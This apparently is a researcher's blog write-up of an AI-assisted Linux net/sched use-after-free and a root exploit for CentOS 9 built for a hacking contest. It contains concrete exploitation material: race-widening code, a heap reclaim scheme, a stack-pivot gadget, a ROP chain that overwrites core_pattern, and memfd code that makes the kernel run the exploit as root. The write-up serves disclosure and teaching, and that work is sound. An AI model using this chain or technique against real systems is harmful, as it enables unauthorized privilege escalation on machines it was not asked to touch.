When AI Makes 0-Days Feel Like N-Days A security researcher disclosed a use-after-free (UAF) vulnerability in the Linux kernel's net/sched subsystem, found with AI assistance, that allows local privilege escalation (LPE). The bug stems from a lock-mismatch in tcf_idr_check_alloc(), which accesses the action IDR with only rcu_read_lock() while actions are freed without waiting for an RCU grace period. The researcher developed an LPE exploit targeting CentOS 9 desktop for TyphoonPwn 2026 and also found two exploitable bugs in kernel/events/core.c. When AI Makes 0-Days Feel Like N-Days Table of Contents Introduction After my n-day analysis on net/tls bugs and exploit writing for a patched net/rxrpc bug, I moved on to 0-day bug hunting. With the help of AI, I found a UAF bug in net/sched, and went about creating an LPE exploit based on it. This blog goes into the technical details of that exploit, and how I optimized it to target CentOS 9 desktop in TyphoonPwn 2026. Additionally, I will show a glimpse of two other exploitable bugs I found in kernel/events/core.c with an LPE exploit for one . AI usage Compared to my previous exploit for an n-day in net/rxrpc, I had a greater focus on completing and improving this exploit quickly rather than fully understanding every aspect from the ground up. As such, I used AI to speed up various aspects of the process - discovery of the bug, KASAN poc, and improving the race condition. It was certainly helpful for iterating quickly, but still lacking in reasoning ability and having clear blind spots. It was still crucial to exercise my own judgement especially when fine-tuning. Brief conceptual overview of net/sched net/sched is the packet scheduling subsystem in linux. It sits in a layer above the device drivers, and decides when, in what order, and whether packets are transmitted. It also provides an API through netlink to configure packet handling rules. Each network device is attached to a Qdisc queueing discipline that holds all this configuration data. To decide what to do with a given packet, net/sched introduces chains, filters and actions. Chains are an ordered list of filters, filters check for certain attributes in the packet, and based on that, decide what action to perform on it. net/sched is designed in a way to maximally allow reuse of components - multiple network devices can share the same Qdisc. Importantly for this bug, actions can be shared within the same net namespace, and are uniquely identified by an “index”. A per-net radix tree action idr records all action objects and enables lookup by their indexes. This is done by the tcf idr check alloc function: int tcf idr check alloc struct tc action net tn, u32 index, struct tc action a, int bind { struct tcf idrinfo idrinfo = tn- idrinfo; struct tc action p; int ret; u32 max; if index { rcu read lock ; p = idr find &idrinfo- action idr, index ; // 0 : ACTION LOOKUP // 1 : WINDOW OPENS if IS ERR p { / This means that another process allocated index but did not assign the pointer yet. / rcu read unlock ; return -EAGAIN; } if p { / Empty slot, try to allocate it / max = index; rcu read unlock ; goto new; } // 2 : WINDOW CLOSES if refcount inc not zero &p- tcfa refcnt { / Action was deleted in parallel / rcu read unlock ; return -EAGAIN; } if bind atomic inc &p- tcfa bindcnt ; a = p; rcu read unlock ; return 1; } else { / Find a slot / index = 1; max = UINT MAX; } new: a = NULL; mutex lock &idrinfo- lock ; ret = idr alloc u32 &idrinfo- action idr, ERR PTR -EBUSY , index, max, GFP KERNEL ; mutex unlock &idrinfo- lock ; / N binds raced for action allocation, retry for all the ones that failed. / if ret == -ENOSPC && index == max ret = -EAGAIN; return ret; } When creating a filter with a list of actions, we can simply specify the action index and it will be fetched from the idr without having to create a new object. For this exploit, we need only focus on the netlink operations used to configure packet-handling rules, specifically those for creating and deleting filters. The bug The vulnerability is a lock-mismatch: tcf idr check alloc accesses the action idr with only rcu read lock , while actions are freed with idrinfo- lock and rtnl lock held, but without waiting for the RCU grace period i.e. raw kfree . Thus, this leads to a race condition where the action can be freed during lookup leading to a UAF scenario. Take another look at the tcf idr check alloc function above. If the retrieved tc action has a tcfa refcnt of 0, it gets dropped harmlessly. Thus, for a successful UAF we have to both free and reclaim the action to overwrite tcfa refcnt within the same window 1 to 2 . The basic structure of the race looks like this: CPU 0: lookup action CPU 1: delete action CPU 2: reclaim ==================== ==================== ============== p = idr find &idrinfo- action idr, index ; kfree p ; // reclaim // set p- tcfa refcnt = 0 refcount inc not zero &p- tcfa refcnt How are these functions reached? I initially proved the bug using RTM NEWACTION and RTM DELACTION. However, these operations require CAP NET ADMIN in the init namespace, making this path infeasible: static int tc ctl action struct sk buff skb, struct nlmsghdr n, struct netlink ext ack extack { struct net net = sock net skb- sk ; struct nlattr tca TCA ROOT MAX + 1 ; u32 portid = NETLINK CB skb .portid; u32 flags = 0; int ret = 0; if n- nlmsg type = RTM GETACTION && netlink capable skb, CAP NET ADMIN return -EPERM; Instead, we have to use RTM NEWTFILTER and RTM DELTFILTER. When creating a filter, we also specify a list of actions to create along with it. Likewise, deleting a filter allows us to free its actions once all other refs have been dropped. By itself, this race is pretty challenging to hit. In the next section I’ll describe the techniques I used to ensure the race gets hit quickly, but first, some requirements for this exploit: Extra requirements Note that in most cases, rtnl lock is taken in this path: static int tc new tfilter struct sk buff skb, struct nlmsghdr n, struct netlink ext ack extack { ... / Take rtnl mutex if rtnl held was set to true on previous iteration, block is shared no qdisc found , qdisc is not unlocked, classifier type is not specified, classifier is not unlocked. / if rtnl held || q && q- ops- cl ops- flags & QDISC CLASS OPS DOIT UNLOCKED || tcf proto is unlocked name { rtnl held = true; rtnl lock ; } By using a clsact qdisc and flower filter which have the necessary DOIT UNLOCKED flags set , we can avoid taking the lock. This requires CONFIG NET ACT GACT=y or m and CONFIG NET CLS FLOWER=y or m. Since the bug can only be reached through netlink operations, we need to create a separate user namespace to have CAP NET ADMIN and pass the check: static int rtnetlink rcv msg struct sk buff skb, struct nlmsghdr nlh, struct netlink ext ack extack { ... if kind = RTNL KIND GET && netlink net capable skb, CAP NET ADMIN return -EPERM; Thus, this exploit also requires unprivileged user namespaces to be enabled. Race optimization The first optimization is a generic window-widening technique using timerfd and epoll , described in detail here https://projectzero.google/2022/03/racing-against-clock-hitting-tiny.html . Basically, timerfd s allow a user to specify a certain timespan, after which a hardware interrupt is triggered on the same CPU and the handler code is run, which signals all waiters. By attaching many epoll objects we can make the list of waiters really long, stalling the CPU. Also do a sweep on the time taken from timer start to the race window: struct itimerspec its = { .it value = { .tv nsec = 30000 } }; timerfd settime tfd, 0, &its, NULL ; volatile int j; int spin = i 37 % 2000; for j = 0; j < spin; j++ ; int ret = nl do fd, struct nlmsghdr b- buf ; // Add a filter, reaches tcf idr check alloc The second optimization is for separate threads to create filters on separate chains. Each chain has its own mutex that gets taken during tcf chain tp find in tc new tfilter . Using separate chains sped up the race by a surprising amount. The third optimization is a major restructuring of the race, by using an error path that lets us eliminate a lot of overhead. This setup uses 2 types of racing threads: binder and deleter . 1. Binder threads This thread utilizes the error path in filter creation. It submits a filter create request with two actions: - Action with idx 42 - Action with invalid format The first action is successfully fetched with tcf idr check alloc , and the race happens here 0 . If action 42 isn’t in the idr, it gets allocated but not inserted into the idr bulk-insertion is only done at the end of the function 2 , but this is never reached . Upon reading the second action, it fails and aborts 1 ; a filter is never created and nothing is inserted into the idr. See here https://elixir.bootlin.com/linux/v7.1.4/source/net/sched/act api.c L1461 for the full function. int tcf action init struct net net, struct tcf proto tp, struct nlattr nla, struct nlattr est, struct tc action actions , int init res , size t attr size, u32 flags, u32 fl flags, struct netlink ext ack extack { ... for i = 1; i <= TCA ACT MAX PRIO && tb i ; i++ { act = tcf action init 1 net, tp, tb i , est, ops i - 1 , &init res i - 1 , flags, extack ; // 0 if IS ERR act { err = PTR ERR act ; goto err; // 1 } sz += tcf action fill size act ; / Start from index 0 / actions i - 1 = act; ... } / We have to commit them all together, because if any error happened in between, we could not handle the failure gracefully. / tcf idr insert many actions, init res ; // 2 attr size = tcf action full attrs size sz ; err = i - 1; goto err mod; err: tcf action destroy actions, flags & TCA ACT FLAGS BIND ; err mod: for i = 0; i < TCA ACT MAX PRIO && ops i ; i++ module put ops i - owner ; return err; } This saves the overhead of a second netlink operation to delete the newly created filter. 2. Deleter threads This thread does 2 main things: - Creates a filter with one action, idx 42 - Deletes that filter Contrary to the name, the action might not be freed here, rather, it’s freed on whichever thread dropped the last ref. This thread exists only to insert action 42 into the idr. Thus, only one of it is necessary. Final race setup We have N binder threads and a single deleter thread running on separate CPUs, all operating with action 42. With this setup, time taken from over 15 minutes to around 5 seconds. This can likely be brought down further by using multiple action indexes. kASLR leak At the start of the exploit, I used the EntryBleed implementation here https://github.com/google/kernel-research/blob/main/libxdk/util/pwn utils.cpp to leak kaslr. Exploit - primitives tc action is a rich object and there are many useful primitives in the post-reclaim code paths. For example, arbitrary kfree of user cookie- data and user cookie which could be used for a data-only exploit . For this exploit I used an indirect call in the ops vtable: js static size t tcf action fill size const struct tc action act { size t sz = tcf action shared attrs size act ; if act- ops- get fill size return act- ops- get fill size act + sz; return sz; } Reclaim object tc action is allocated from the kmalloc-256 cache. I reclaim it with a user key payload object: tc action user key payload ========= ================ 0 tc action ops ops rcu.next 8 u32 type rcu.func 16 tcf idrinfo idrinfo u16 datalen 24 u32 tcfa index data 0:8 user controlled ... data 8:16 cont. Actually, the victim object is sometimes reclaimed by a temporary buffer allocated by keyctl to copy user data: tc action payload ========= ======= 0 tc action ops ops data 0:8 user controlled ... data 8:16 cont. I built an initial exploit around the second case, but the final version uses the first case since it’s simpler and more reliable. To avoid crashes when the victim happens to be reclaimed by payload , I set the first 8 bytes of data to a pointer to NULL obtained through kaslr leak , harmlessly avoiding the calls. In retrospect, simply setting len data == 192 such that the temporary buffer falls in a different kmem cache would actually be better. 192 bytes is sufficient to overwrite all important fields. RCU Before gaining RIP control, this is a brief detour into linux RCU to explain how the rcu head part of user key payload works. RCU is a cheap synchronization mechanism where all reads are done within a “grace period”, and all the writes/updates afterwards. Here is a good article that delves into RCU internals: https://u1f383.github.io/linux/2024/09/20/linux-rcu-internal.html One of the ways to achieve this is by deferring writes using the call rcu head, func function. This function takes a pointer to the rcu head struct within the target object, and a function pointer to perform the update in this case free on that object. call rcu adds it to a per-cpu linked list of all the rcu updates to be done, and the function continues without blocking. After the grace period, all those functions are invoked. struct callback head { struct callback head next; void func struct callback head head ; } attribute aligned sizeof void ; define rcu head callback head Taking the example of user key payload , the RCU callback is defined as: static void user free payload rcu struct rcu head head { struct user key payload payload; payload = container of head, struct user key payload, rcu ; kfree sensitive payload ; } And it gets called here this is also the function used for the reclaim spray : int user update struct key key, struct key preparsed payload prep { struct user key payload zap = NULL; int ret; / check the quota and attach the new data / ret = key payload reserve key, prep- datalen ; if ret < 0 return ret; / attach the new data, displacing the old / key- expiry = prep- expiry; if key is positive key zap = dereference key locked key ; rcu assign keypointer key, prep- payload.data 0 ; prep- payload.data 0 = NULL; if zap call rcu &zap- rcu, user free payload rcu ; // <-- return ret; } KEYCTL UPDATE spray As shown in the function above, KEYCTL UPDATE allocates a new user key payload and frees the old one by RCU. By repeatedly calling KEYCTL UPDATE, we can reclaim the victim object with user key payload objects linked by rcu.next , which overlaps the ops vtable This gives us RIP control by setting a pointer at offset +0x70. RIP control to arbitrary write There are techniques to spray carefully crafted BPF shellcode to get a “kernel one-gadget” that performs an arbitrary write, see here https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2025-21700 lts cos mitigation/docs/novel-techniques.md . I used this in my initial exploit, but this proved unreliable as it requires fine-tuning for each machine based on space taken up by other modules and existing BPF JIT packs, and for some reason the FPU register state sometimes gets cleared randomly. Fortunately, on the target CentOS 9 desktop, there is a much simpler and more reliable solution. Look at the shellcode for tcf action fill size : rbp points to our reclaimed user key payload This makes it easy to do a stack pivot onto the nearby buffer holding our data. We need a total of 4 pops for rcu.next, rcu.func, datalen, and the previously set pointer to NULL . I used the following gadget at .ktext+0x6ccc7d: leave pop rax mov rax,r9 pop rbp pop r14 jmp 0xffffffff81d6dcf0 < x86 return thunk On later kernel versions tcf action fill size uses ebp instead of rbp, so this method doesn’t work One final, minor bug I wrote a ROP chain to overwrite core pattern , but the exploit kept crashing after the write succeeded. After much debugging, I realised it was because I was leaving the kernel stack pointer inside a heap object. After the write, I had placed an msleep 0x80000 it was impossible to restore the original rsp to exit gracefully . This causes a context switch to another thread, and the stack grows downwards and writes pt regs while still inside user key payload , corrupting adjacent heap objects and causing a kernel panic. To fix this, I simply did another stack pivot to a seemingly unused memory region in .ktext that wall full of NULLs this is the same address of the pointer to NULL at the start of the key payload data . This way, there would be more room for the kernel stack, and it solved the crash. Here’s the final ROP chain: u64 keyctl payload 0 = NULL AT; u64 keyctl payload 1 = POP RDI RET; u64 keyctl payload 2 = NULL AT; u64 keyctl payload 3 = POP RSI RET; u64 keyctl payload 4 = u64 &pivot rop; u64 keyctl payload 5 = POP RDX RET; u64 keyctl payload 6 = sizeof pivot rop ; u64 keyctl payload 7 = COPY FROM USER; u64 keyctl payload 8 = POP RSP RET; u64 keyctl payload 9 = NULL AT; u64 keyctl payload 11 = STACK PIVOT; // treated as p- ops- get fill size u32 keyctl payload 128-24 / 4 = 0; // set spinlock to 0 so it doesnt crash u64 keyctl payload 0xb0-24 / 8 = 0; // set user cookie = NULL Part 2: char fake core pattern = "|/proc/%P/fd/666 %P"; unsigned long long pivot rop = { POP RDI RET, CORE PATTERN, POP RSI RET, unsigned long long fake core pattern, POP RDX RET, 0x30, COPY FROM USER, POP RDI RET, 0x80000, MSLEEP, }; With that, core pattern is overwritten. We simply poll it occasionally to check when it gets changed for now, every 500 iters on the deleter thread . After which, we open a memfd with our exploit binary’s contents, dup it to 666, and crash. Linux executes our binary as the core dump handler runs as root in the init namespace . This is a common technique: if fork == 0 { setsid ; int memfd = memfd create "", 0 ; SYSCHK sendfile memfd, open "/proc/self/exe", 0 , 0, 0xffffffff ; dup2 memfd, 666 ; close memfd ; size t 0 = 0; } Final exploit I installed CentOS 9 desktop on my i5-1235U laptop TyphoonPwn used i5-1334U and ran the final exploit 10 times consecutively. All runs succeeded, taking 10s, 10s, 9s, 11s, 11s, 111s, 64s, 69s, 47s, 10s. The spike in time taken was probably due to CPU frequency being throttled due to temperature after run 7, I let the laptop cool down for a while . Actually, runs that took 10s often had overwritten core pattern within much sooner. I probably should have made checks more frequent, perhaps with an exponentially growing check interval you can see this in the video below . The main disadvantage of this exploit is that it relies on hardcoded ROP gadget offsets that need to be tuned for different kernels in particular, it will be much harder and sometimes impossible to stack pivot in the same way . Perhaps if I had to write it all over again, I would focus on a data-only approach with the arbitrary kfree primitive maybe somehow free a pipe buffer page and reclaim it with a PTE . Demo video I’m writing this 2 months after the fact and have already uninstalled CentOS 9, also the original image I tested on CentOS-Stream-9-20260526.0-x86 64-dvd1 is no longer available. Instead, I setup a VM with the oldest available iso CentOS-Stream-9-20260706.0-x86 64-dvd1 which seems to be still vulnerable, and updated the ROP chain offsets. As you can see, binder 1 stops printing almost immediately, and binder 0 stops printing shortly after. This is because they got blocked by msleep after the core pattern overwrite it actually happened twice in this run before it got detected . TyphoonPwn 2026 results TyphoonPwn 2026 ran in this format: each participant would be given a randomized queue number, which was the order our exploits would be run. The first 3 to successfully root the machine would win cash prizes 70k, 35k, 17.5k , after which the category was closed and subsequent exploits would not be tested. Participants also had 3 attempts given within a 30-minute window. Between these attempts, participants could also debug and fix their exploits. On 27 May 8am SGT, the day before the competition, each registered participant would be told their queue number and given the option to send their exploit and writeup, or withdraw from the competition. As soon as I woke up that morning, I immediately checked my phone for my queue number. Well, this was quite an unfortunate result. I would need 5 exploits to fail each with 3 attempts before I even stood a chance of winning a prize Nevertheless, I still sent over my exploit and writeup. At 3.13pm, I received another email that there were already 3 winners for the Linux LPE category. As such, I sadly never got to demonstrate my exploit. To make matters worse, a few days later, someone told me that KyleBot had already reported the bug 2 days before TyphoonPwn To be honest, I couldn’t be too surprised - even though the bug is 2-3 years old, it was found by AI without much extra context. This vulnerability was assigned CVE-2026-53264 , patched in this commit https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=5057e1aca011e51ef51498c940ef96f3d3e8a305 . The exploit I submitted for TyphoonPwn can be found here https://github.com/star-sg/CVE/tree/master/CVE-2026-53264 . Other bugs found By experimenting with different tooling and approaches, I found a few other exploitable bugs in Linux. I reported the two most valuable ones both in perf/events , which are reachable for kernels running on Intel bare metal and perf event paranoid <= 2 true for RHEL-based distros, Arch, etc. but not Debian-based distros . Their use is limited mainly to desktop Linux, since almost all cloud instances run in VMs which don’t allow access to the intel pt PMU. To be honest, I was never really targeting this subsystem, and both these bugs were found while testing other tools. I will likely do a separate blog post on them in the future. The first bug patch here https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=e62d4192e593630f355094adc467058a05bdc935 was found by searching for the same “raw free with rcu access” pattern. It gives a UAF-write primitive but is difficult to control as it overwrites pretty much the entire object. The second bug patch here https://git.kernel.org/pub/scm/linux/kernel/git/tip/tip.git/commit/?id=5948aaf64f81f217a25dcc2bf6c0779bca19566c was found around the 2nd last week of my internship It gives a powerful page-UAF primitive, which I quickly converted to a reliable LPE: The same exploit was also tested successfully on Arch, kernel 7.0.12-arch1-1. This was assigned CVE-2026-64300 . Closing thoughts This internship was my first look into the Linux kernel, and it has been highly educational. One thing that surprised me was how effective AI was in finding bugs in Linux. In a sense, this made it feel more like I was doing n-day analysis even on new bugs. It also meant I was spending more time thinking of the bug-hunting process on a higher level rather than studying subsystem internals. However, I believe there is still much value in diving into subsystem internals, and it’s something I think I wish I had done more of. AI still has many blind spots and lapses in reasoning ability, so having a deep understanding of the target helps in finding ideas that AI overlooks. And even if I don’t find anything, I still learned something cool